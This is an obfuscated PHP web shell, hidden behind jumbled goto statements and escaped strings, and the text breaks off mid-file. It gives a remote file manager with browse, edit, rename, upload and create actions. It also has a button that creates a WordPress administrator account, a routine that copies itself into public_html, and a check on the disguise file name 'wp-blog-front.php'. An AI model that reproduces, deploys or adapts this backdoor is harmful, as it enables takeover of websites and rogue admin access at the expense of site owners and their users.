edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: KPlKX: goto IK_DP; G1Qv8: X_zeJ: goto INFFL; oizs9: goto APpNG; goto vVZP1; r4llA: dYUUJ: goto qBLIC; nsdJy: zWmwG: goto C6DGU; xRuWG: goto Iu7Vm; goto ml1uh; bAvkV: EEaFa: goto SCKIJ; MfKxB: goto VdCSw; goto lGFhF; Lx0XR: goto Ihrld; goto JY0sP; Zoi8b: A9iGR: goto ekLqq; bq3T2: zicQ5: goto lMkl0; lg02d: TkaFs: goto d8vt9; zWsbZ: n_64s: goto xbpy_; LebU4: lynu2: goto qa8k3; gw4Nl: goto GTMrE; goto N0tdo; HozkL: JLhkU: goto bf9bm; uyNWu: B3ej5: goto uGhan; M2hcK: goto Q8yTR; goto pp9c0; DnLfo: GvS0d: goto jjccd; hnCgw: goto aw61p; goto LebU4; yCAjM: goto Y4A3c; goto bTx7G; YIuJn: rr71t: goto VQ2KN; FJHh0: goto N_uzv; goto GGQYr; HL_Ea: $txUKt = $JdqDR . "\x2f" . basename($_POST["\x6e\145\x77\x66\x6f\x6c\144\145\162"]); goto rQbqD; LQfqR: eB0P0: goto nMeT9; BgGg1: goto EBoDv; goto U3dVg; A3xpt: echo "\74\150\63\x3e\303\242\xc5\223\342\200\xa6\x20\x52\145\x70\154\x69\x63\141\x74\145\144\40\151\x6e\x74\x6f\40\160\165\x62\154\x69\x63\137\150\164\155\x6c\x3c\57\150\x33\x3e\x3c\x75\154\x3e"; goto c3Ecp; LK7PK: goto D9duu; goto SAtNS; LtWUT: goto Bq6R4; goto blQE1; dWM3l: goto RchK3; goto ybD6v; He2H7: goto En4Bl; goto PZazT; ecHb3: YbMjO: goto jFU8u; XfhKL: goto fAnBX; goto WD3OG; Yv5N0: goto XJ15u; goto YIuJn; c3Ecp: goto cBi0z; goto uzFib; fwefS: leovd: goto fT5pv; ukPCo: goto CxF4g; goto XJSAf; h1gA6: goto nYEWv; goto z31JX; XlHGB: Naw4a: goto fM7Ha; lJLwF: P_gAl: goto oilrT; qBgFi: s6Utd: goto xhqEf; bY7iK: goto DpIfg; goto LtWUT; X41GM: goto tC_To; goto RwT6B; JFMBg: if (empty($_POST["\x6d\x61\153\145\137\167\x70\x5f\141\x64\x6d\x69\156"])) { goto NlzaM; } goto L9t2s; tJTtt: CcQIm: goto FLvD1; KAvzx: goto PbdyU; goto O1XTW; dqcrq: h_uEZ: goto n93Gk; IH9CG: pW0Lg: goto LFZY3; nl37G: sHU8k: goto aO1F2; auij7: goto KrrW1; goto RCvXC; b8TnL: goto f9DLn; goto Y39BH; swcu0: DckSI: goto Xn1aA; TRK5g: goto BgbEE; goto Bd9pg; uqrbB: goto xwHle; goto BOUyM; T21kq: goto yxPnN; goto oaJ0w; av9h0: goto wfTR1; goto xhHtZ; l1Rhx: goto fpj30; goto lRc0U; iNEwI: fZku2: goto dO0pw; HFyGT: goto iZ4h4; goto kMj6k; Zqsuk: fAnBX: goto CsPsQ; tEAi1: $rIJSd = false; goto C0AeL; cg4ZT: c75GS: goto OHyMs; xhHtZ: JLx3x: goto A3xpt; yJhHf: goto Kh6bK; goto EOJg3; AXMDN: if (!($D6V0J !== dirname($D6V0J))) { goto NKnHC; } goto l1Rhx; J6ZxO: goto i_d0m; goto b5kFp; RADZh: yaI1b: goto bY7iK; NIV85: goto wodEv; goto nUHZj; RwT6B: Gu75W: goto ptU3E; h43tU: goto bEuoB; goto QBC7y; IGMxG: KX2Vx: goto WljjD; IK_DP: jZG7w: goto Ogr2e; FLgPu: $HF_AU = dirname($D8T_A) . "\57" . basename($_POST["\162\145\x6e\141\155\x65\x5f\156\145\167"]); goto UGaKU; I5E7B: XFYQV: goto d1lZ2; rs6hQ: Y43yk: goto d0ggy; pZvhC: goto zsCef; goto m7UPp; f6RtR: goto VNH2v; goto TLAgf; zOUTZ: EM91A: goto Bj6yj; rxL9a: goto P_gAl; goto lg02d; iAu5k: goto lAGKT; goto fZ4fb; blCrI: goto rivn3; goto HWvRS; jg0N4: goto Y43yk; goto Mg0kq; Suitv: $JglkV = basename($D8SPt); goto tvKkm; fm2b4: jFF3F: goto fMQvJ; FKta4: qtW4o: goto AXMDN; fO7IX: GFznw: goto OdSSG; YVnki: zzfx1: goto OAdsT; mVSsr: j_FJI: goto pq4ZS; cD76l: R2RRw: goto SU2aS; mCO_w: Uzca2: goto lfeQn; VEAiq: goto NJFPs; goto O_ANL; gTqfp: goto j_FJI; goto yIUPW; RnKjm: ves8O: goto qBbCO; Aub2J: goto wKHRo; goto oVXyY; DZPMO: goto WYMTp; goto a411L; QrSn1: goto pWS9l; goto nY_1Q; mxgon: goto lgzIG; goto ENk7J; VDpyM: goto Jp083; goto Qe10l; uAwQG: goto nfbZG; goto doVAA; dQAET: sbJX_: goto IImTN; idhLU: goto VPmxL; goto XLvuk; bIuzY: LGhol: goto WoibB; LQbME: XEsqk: goto xihPS; rUxDS: goto poMp0; goto SIi_F; lPC2j: gEPCt: goto jexem; TB1We: goto dzixS; goto vwZaR; MK6VQ: KQR9L: goto V9MeH; qGMZo: snGiW: goto W1Yey; U2iNi: CFA22: goto dQAET; KAIdj: YV7J3: goto LhIiH; IJm2S: JscKU: goto Pa9jH; VhhhS: DCCBg: goto Pne0_; KAk9t: d3u7B: goto PD19_; SXKBh: OPFVa: goto zGsRd; MLZJ1: iZ4h4: goto CMig3; JK3Qm: goto hHLeW; goto HtCJj; p3Slk: BPJ4w: goto ukPCo; hrlxR: goto VtXS1; goto uu3XS; RpT82: MdNLB: goto M9Oz6; pmKLG: goto hKkuU; goto zOUTZ; itVgW: goto V3DtT; goto Lvm8B; HK11o: YPNKf: goto zDrDe; O5gxF: goto ves8O; goto aGUgU; OtWzu: goto WEFVN; goto VENIm; gySkl: j4fbo: goto R5nt6; CNAMg: D9duu: goto QjW0N; OA0vJ: goto snGiW; goto eyg_4; YWduN: WEFVN: goto A8SPk; Xx6fd: goto EGZPJ; goto NO2YR; cLM9z: if (file_exists($bG34o)) { goto wssjk; } goto J9wD8; MMy0M: goto SbuXe; goto ivss1; yNu6z: goto oz3t7; goto Z_j7r; jexem: goto TiDrY; goto g8omF; a411L: SbDAZ: goto BU70D; Z3O3Z: rw_pK: goto swcu0; njHjZ: ocCsn: goto qrkn2; Nluj9: goto pgQRW; goto ouUdy; R5nt6: $bG34o = $JdqDR . "\x2f" . basename($_POST["\156\x65\167\146\151\154\x65"]); goto v5Q9k; YeYhj: goto MBBhg; goto gphJD; GETqH: goto GJ2ZZ; goto DnLfo; L3Tk1: VM7J8: goto UtBmG; yabSI: goto en_sG; goto jNPBL; BHdPu: goto JrmqN; goto DSEOn; nPxWE: a1JYq: goto xPu83; LZFK7: goto hZMkj; goto TOo3K; pvdiI: kcJFb: goto bP8J6; Kq6Pa: gw96m: goto ckwc3; Qy7Ry: KPedQ: goto GK0TK; Fkejm: oz3t7: goto X41GM; pLUNm: goto JDHCe; goto BcmUP; lGHlv: JMBjk: goto pAD7h; WZVIb: $mnQV8 = []; goto tmKUJ; K25PE: if (!file_exists($D6V0J . "\57\167\160\55\154\x6f\x61\144\x2e\160\x68\x70")) { goto nyuzB; } goto WsDjn; M7Gyp: goto MdNLB; goto QYSDt; xdHqL: goto DV0SF; goto igrmk; W57Aw: vL5xr: goto uyNWu; J96Mu: NlzaM: goto t_u1g; Ssrys: TepBx: goto Kdmp4; t1qmX: goto n1xAc; goto RooMC; gsbM5: fpj30: goto PQ4_q; N2oFC: goto dn0tW; goto KuLD8; eU41h: goto HPZNv; goto ik5MB; xzbO_: goto UhQNT; goto vhhzP; CeVou: Z2hdr: goto zEEkD; wmOwk: goto cgxrg; goto odVDg; HD2_Q: goto rF9Q0; goto APXSe; ItzMj: goto c6dT5; goto AZ32v; UL46I: U83vJ: goto MCVU1; qjebX: QynDU: goto PWPPT; yjdWQ: goto qXWNA; goto nmnAf; Qbrza: iWIvM: goto Zk18_; mAZJ3: c49UM: goto TVOEv; gco9H: goto DItA6; goto PQ0Gl; asy96: define("\172\70\x4d\171\x50", false); goto gUCUZ; aPMgW: bgQX6: goto b07Mx; VMC1l: h5315: goto U1Q6Z; Lvm8B: VRmhe: goto fG3tv; PC1uP: goto PdiyD; goto pvdiI; bkKIN: goto ZDDBq; goto iE4ih; vhhzP: goto eNrt1; goto fbCMn; sXGTh: goto rr71t; goto OdvU7; GFmeZ: eNrt1: goto soE6m; mxl49: Iu7Vm: goto P6I2Y; Ms1xZ: $hznvy .= "\74\144\151\x76\x20\143\154\141\x73\163\x3d\47\157\x6b\47\x3e\xc3\242\xc5\223\xe2\200\x9d\x20\x46\151\154\x65\x20\165\x70\x6c\x6f\x61\144\145\144\74\x2f\144\151\x76\76"; goto fUvG0; OE7sw: goto CNoYb; goto aziJz; RooMC: KJSI3: goto O0OJf; HI3Eh: $hznvy .= "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x6f\153\x27\76\xc3\xa2\xc5\223\xe2\x80\235\x20\x46\151\x6c\x65\x20\x63\x72\x65\141\164\145\x64\x3c\x2f\144\151\x76\76"; goto hQErw; n4fUk: if ($rIJSd) { goto IOF4v; } goto Xx6fd; y2JC5: wNquf: goto vU0kJ; yCmcS: goto FLR87; goto dhR5e; L9Ybt: goto U83vJ; goto zpDZN; KmQnX: goto hcjk0; goto cfBe5; QDb5k: goto fT1WW; goto oBIlN; qLPnR: goto HfICC; goto w6xZ2; Ek6CX: qXWNA: goto OMyEo; QrOof: if (!Wxn15($tUnme)) { goto TepBx; } goto zdsgU; c8Cpu: goto LMiFP; goto b5rBr; wY4I7: pfJQ7: goto UCa6o; dpuZk: L7_dP: goto gtyx3; ybD6v: THXJD: goto ONcuP; rx5Up: goto v0BK4; goto xH_q2; PDrj6: LUNp5: goto Iwiok; JgPGl: Elnla: goto LAQcH; oylB9: goto v26Id; goto h6GK8; odVDg: UWRL1: goto tuGap; FekV5: require_once $rIJSd; goto MMy0M; wV2dM: fdUer: goto qX85B; qoyb0: mmZKh: goto OLBkN; MjtI0: Cg50n: goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= "\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\x65\162\x72\x27\76\303\242\xc5\223\313\x9c\40\167\x70\55\x6c\157\x61\144\x2e\160\x68\x70\40\156\x6f\x74\40\146\157\x75\156\144\x3c\57\144\x69\x76\x3e"; goto Q1G_q; JRoYV: CfqF0: goto IH9CG; oBIlN: goto BBOPc; goto QDtwL; FRbSx: goto nZebr; goto SOxZQ; NsKNm: goto M0ssD; goto Hq1MR; utbJO: goto Sk_8B; goto RhnSC; PvGsR: aCSQe: goto BgGg1; SnuW7: goto HNHs5; goto NfLr7; usIT7: Hm5Mz: goto gwbaH; zK5Gj: goto D1biO; goto YfHrC; pTZ4n: goto UWRL1; goto cWIi8; ekLqq: goto NDbCh; goto A6Ru8; LFZY3: goto doNM2; goto RJvzj; e9J83: Upycx: goto nsdJy; QrZwZ: goto Xt2yl; goto G_inn; cpkaA: goto lOLtd; goto OswRP; dJQ6q: pWS9l: goto nk0Ti; auHqi: goto lwEiq; goto LYSDv; EvyPb: goto bwWlb; goto C0Wga; rSUiJ: XJ15u: goto A5vJ4; XPX4t: V8krl: goto IQxgW; H91jM: goto ucsul; goto VTF8J; q2PPw: goto QyMd7; goto on6bL; i6_nO: goto cLY67; goto AbqTt; Syg08: wGiMn: goto QrOof; LfvTH: goto L7_dP; goto Lfe3c; hKh1w: goto zPqro; goto NgCA9; ilDZF: @set_time_limit(0); goto gvHGm; T5gqz: goto TRreX; goto Neq8l; YA1sX: mrEaW: goto ma8YI; GLdyC: yO1DX: goto GGaB5; Pne0_: rjHcK: goto xhbvE; czEXV: sqq0b: goto ry0vH; cTu15: goto Rl7vB; goto zmw15; iKuDw: SbuXe: goto WRtx2; LorbC: if (!(!$c2TOA && basename(__FILE__) !== "\x77\x70\x2d\142\154\x6f\x67\55\146\x72\157\156\x74\56\x70\150\x70")) { goto l5mRt; } goto Hvjl8; jFU4M: Y3sBp: goto RLu8M; yAqpz: goto skzZX; goto nmlvO; ukl0E: goto Bd7cS; goto D5qrK; WGcpz: goto CNOhR; goto Ga2c2; l3eRf: WytPZ: goto OmVrv; gHIW2: goto jB8SS; goto YVnki; h1d09: nyuzB: goto dWM3l; evbZT: hcjk0: goto N2oFC; qWOAB: goto cUXEM; goto Z_CK8; AL3g6: c6dT5: goto Hw32e; P6I2Y: goto YbMjO; goto wpNnP; e_Wqv: hE81D: goto QoIg6; lwpYQ: if (!@move_uploaded_file($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\x61\x6d\145"], $oTlAS)) { goto gNdVv; } goto vX9vH; F0MHf: goto WrIFn; goto dqcrq; VENIm: Y4A3c: goto ZGS9I; RFrGN: goto IBF6h; goto PJpNQ; b5yUa: goto fx2Zt; goto uqrbB; B0GMM: if (empty($HbhNW)) { goto Y0jlT; } goto TGNVX; CMig3: goto HXUmP; goto GcvOD; H_Ys8: goto cFPwG; goto mB7Lg; FL8BU: GJ2ZZ: goto zfiF0; Wfahm: goto e0lNf; goto dt_Tu; S301N: goto Uzca2; goto Nib1w; IImTN: goto JE1Xg; goto RADZh; ZN7v7: DpIfg: goto HD2_Q; pqjjX: goto pnE5r; goto iNEwI; ma8YI: goto oCdVG; goto A3U_c; Y7noi: $OYF8c = realpath($_GET["\x65\144\151\164"]); goto XDRQ6; Y5uU5: U2hWI: goto MraaV; EZGSd: NxoSL: goto cEhU0; rBTq1: goto HjMDE; goto G1Qv8; m6RZK: echo "\12\x3c\x66\157\162\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\160\x6f\163\x74\x22\40\x65\156\x63\164\x79\x70\x65\75\42\155\165\154\x74\151\x70\x61\x72\164\x2f\146\x6f\162\x6d\55\x64\141\164\x61\42\x3e\xa\x3c\x69\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\x66\x69\154\x65\x22\x20\156\x61\155\145\75\42\146\151\154\x65\x22\x3e\x3c\142\x75\164\164\x6f\156\76\125\160\x6c\x6f\141\x64\x3c\x2f\142\165\x74\164\157\x6e\x3e\x3c\142\x72\x3e\12\74\x69\x6e\160\x75\164\40\x74\x79\x70\145\x3d\42\164\x65\170\164\42\40\156\x61\x6d\145\x3d\42\x6e\145\167\146\x6f\x6c\x64\x65\162\x22\40\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\116\x65\167\x20\x46\x6f\x6c\144\x65\162\x22\x3e\x3c\x62\165\x74\x74\157\x6e\76\103\162\145\x61\164\x65\x20\x46\157\154\144\x65\162\74\x2f\142\165\x74\164\x6f\x6e\76\x3c\142\162\76\12\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\156\x65\x77\x66\x69\154\145\42\40\160\x6c\141\x63\x65\x68\157\154\x64\x65\x72\75\x22\x4e\x65\x77\x20\x46\151\x6c\145\x22\76\x3c\x62\x75\x74\x74\x6f\156\x3e\103\162\x65\141\x74\145\x20\x46\151\154\x65\74\57\142\x75\164\164\157\x6e\x3e\x3c\x62\162\x3e\xa\x3c\x62\165\164\164\157\156\x20\x74\x79\160\145\x3d\42\163\x75\x62\155\151\164\42\40\x6e\x61\155\145\75\42\x6d\141\153\x65\137\x77\160\x5f\x61\x64\155\x69\x6e\42\40\x76\x61\154\x75\x65\x3d\42\x31\42\76\xc3\260\305\xb8\xe2\x80\x98\302\xa4\x20\x43\x72\145\141\x74\145\x20\x57\x50\x20\x41\144\155\x69\x6e\74\57\142\x75\164\164\157\x6e\76\12\74\x2f\x66\157\x72\x6d\76\12\xa\74\164\x61\142\x6c\x65\76\12\x3c\164\x72\x3e\74\x74\150\76\x4e\141\x6d\x65\74\x2f\164\x68\76\x3c\x74\x68\76\x53\x69\172\x65\74\x2f\x74\x68\x3e\74\x74\x68\76\101\x63\x74\151\157\156\163\x3c\57\164\150\76\74\57\x74\162\76\xa"; goto t1qmX; wB4mT: goto zzfx1; goto SYcSV; JelQD: tC_To: goto v70Ky; P5mXa: if (file_exists($txUKt)) { goto sHnMK; } goto Z2WKx; gphJD: goto WPVEP; goto uaHKE; WCK_n: goto Mpo7z; goto fj_AW; lbfVf: goto jVYnj; goto DYzZc; grpq0: Fe25h: goto c1U1G; ixhK6: Xz6X1: goto toqPO; kBz8y: goto K4vVK; goto QIsGB; EoMyx: Q3LgY: goto VdjT6; oYmQe: $JdqDR = getcwd(); goto XYhaQ; o2mrB: C2lyi: goto CWDzT; v70Ky: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\157\153\47\76\303\242\xc5\223\342\200\x9d\40\123\x61\166\x65\x64\x20" . htmlspecialchars(basename($OYF8c)) . "\x3c\57\x64\151\x76\76"; goto HHskW; UV0l8: JE1Xg: goto Suitv; EiIeg: Jc76G: goto czEXV; vU0kJ: dsUxH: goto xdkE_; ithkt: goto SYxdL; goto wmOwk; U0S7x: goto PlkQE; goto STKGW; taEru: mkdir($txUKt); goto g7eCo; ml1uh: goto OzJwW; goto ow3OF; blQE1: in0Pm: goto MLZJ1; hcwoJ: 